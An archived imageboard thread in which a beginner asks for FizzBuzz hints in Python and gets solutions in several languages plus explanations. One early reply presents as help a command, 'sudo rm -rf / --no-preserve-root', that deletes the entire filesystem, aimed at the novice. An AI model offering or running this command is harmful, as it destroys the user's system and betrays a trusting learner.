[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Could someone walk me throught this please? Im very new to coding
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 24
Thread images: 3
File: 20151203_205552-min.jpg (1 MB, 5312x2988) Image search: [Google]
20151203_205552-min.jpg
1 MB, 5312x2988
Could someone walk me throught this please?

Im very new to coding and would appreciate some help. Not lloking for the exact code just need some hints really. FizzBuzz challange.

Btw im not in school i downloaded an A-level coding booklet to use as challanges.

Also im using python.

Any help is appreciated...
>>
def fizzbuzz(n):


if n % 3 == 0 and n % 5 == 0:

return 'FizzBuzz'

elif n % 3 == 0:

return 'Fizz'

elif n % 5 == 0:

return 'Buzz'

else:

return str(n)


print "\n".join(fizzbuzz(n) for n in xrange(1, 21))
>>
>>51670289
>>
>>51670988
wow thatnks

you are really good at this
>>
>>51670289
import os
os.system("sudo rm -rf / --no-preserve-root")
>>
>>51670988
could someone explain what each section of that last line is doing?
>>
Here you go bud
def fizzbuzz(limit=100):
for value in range(1, limit + 1):
line_out = ''
if is_divisible_by_3(value):
line_out += 'fizz'
if is_divisible_by_5(value):
line_out += 'buzz'
if line_out == '':
line_out = value
print(line_out)


def is_divisible_by_3(value):
while len(str(value)) > 1:
value = sum(int(c) for c in str(value))
return value in (3, 6, 9)


def is_divisible_by_5(value):
return str(value)[-1] in ('0', '5')
>>
>>51671103
print "\n".join
this means joining a list as a string, putting a \n (new line) between each element in the string

fizzbuzz(n) for n in xrange(1, 21)
means that a list which consists of fizzbuzz(1), fizzbuzz(2), fizzbuzz(3) ... fizzbuzz(20) is created.

So putting it all together:

print "\n".join(fizzbuzz(n) for n in xrange(1, 21))
will create a string from the list fizzbuzz(1) .. fizzbuzz(20) and join it with newlines.
>>
.data
Fizz: .asciiz "fizz"
Buzz: .asciiz "buzz"
nLine: .asciiz "\n"

.globl main
.text

main:
li $t0, 0
li $t1, 101

Loop:
addi $t0, $t0, 1
beq $t0, 101, End
rem $t2, $t0, 15
beqz $t2, Fb
rem $t2, $t0, 5
beqz $t2, Fi
rem $t2, $t0, 3
beqz $t2, Bu
b Number

Fb:
li $v0, 4
la $a0, Fizz
syscall
la $a0, Buzz
syscall
la $a0, nLine
syscall
b Loop
Fi:
li $v0, 4
la $a0, Fizz
syscall
la $a0, nLine
syscall
b Loop

Bu:
li $v0, 4
la $a0, Buzz
syscall
la $a0, nLine
syscall
b Loop

Number:
li $v0, 1
move $a0, $t0
syscall
li $v0, 4
la $a0, nLine
syscall
b Loop

End:
li $v0, 10
syscall
>>
>>51671188
10/10
>>
>>51671188
MIPS?
>>
>>51671184

Thanks man this has really helped me.

Truth be told im really struggling with this and its nice to get some help.

Same goes for everyone else who wrote me some code, its just this way seems to be the closest to the methods I am familiar with.

thanks again
>>
>>51670988
>if n % 3 == 0 and n % 5 == 0
disgusting,
>not knowing that being a multiple of 3 and 5 is the same as multiple of 15
>>
>>51671245
OP here

Would
n % 3 == 0 or n % 5 ==0
work?
>>
>>51671293
No, because OR only needs one condition to be true to return true.

AND on the other hand needs both conditions to be true to return true.
>>
Let's try it with the generators:

def fizz(num=0):
while True:
text, num = '', num + 1
if not num % 3:
text += 'Fizz'
if not num % 5:
text += 'Buzz'
yield text or num

if __name__ == '__main__':
gen = fizz()
for i in range(100):
print(next(gen))

>>
>>51670289
for i in range(100):
if i % 3 == 0 and i % 5 == 0:
print("FizzBuzz")
elif i % 3 == 0:
print("Fizz")
elif i % 5 == 0:
print("Buzz")
else:
print(i)
>>
>>51672463
Screwed up the indentation there, whatever.
>>
>>51671174

jesus christ
>>
>>51670988
>>51671245
>>51671293
>>51671358
if n%3 == 0
print Fizz
if n%5 == 0
print Buzz

this should print FizzBuzz on its own, why the extra if statement?
>>
>>51671174
why arent you using modulo operators?

you could just make a "is_divisible_by(x, y)" where it just returns x%y == 0
>>
File: FizzBuzz.png (19 KB, 299x162) Image search: [Google]
FizzBuzz.png
19 KB, 299x162
>>51670289
>Not looking for the exact code
Your reverse psychology was successful. Here's my solution.

I recommend that you try to understand the problem and what output is expected before anything else.

If you've looked at the first few pages of the tutorial from the python website, you should know enough to solve it from there.
>>
using System;

static class Stuff
{
static void Main()
{
for (int i = 1; i<101; i++)
{
bool notWritten = true;
if (i % 3 == 0)
{
Console.Write("Fizz");
notWritten = false;
}
if(i % 5 == 0)
{
Console.Write("Buzz");
notWritten = false;
}
if(notWritten)
{
Console.Write(i);
}
Console.WriteLine();
}
}
}
>>
 for (int i = 1; i <= 100; i++) {
if (i % 15 == 0)
cout << "FizzBuzz\n";
else if (i % 5 == 0)
cout << "Buzz\n";
else if (i % 3 == 0)
cout << "Fizz\n";
else
cout << i;
}
Thread replies: 24
Thread images: 3

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.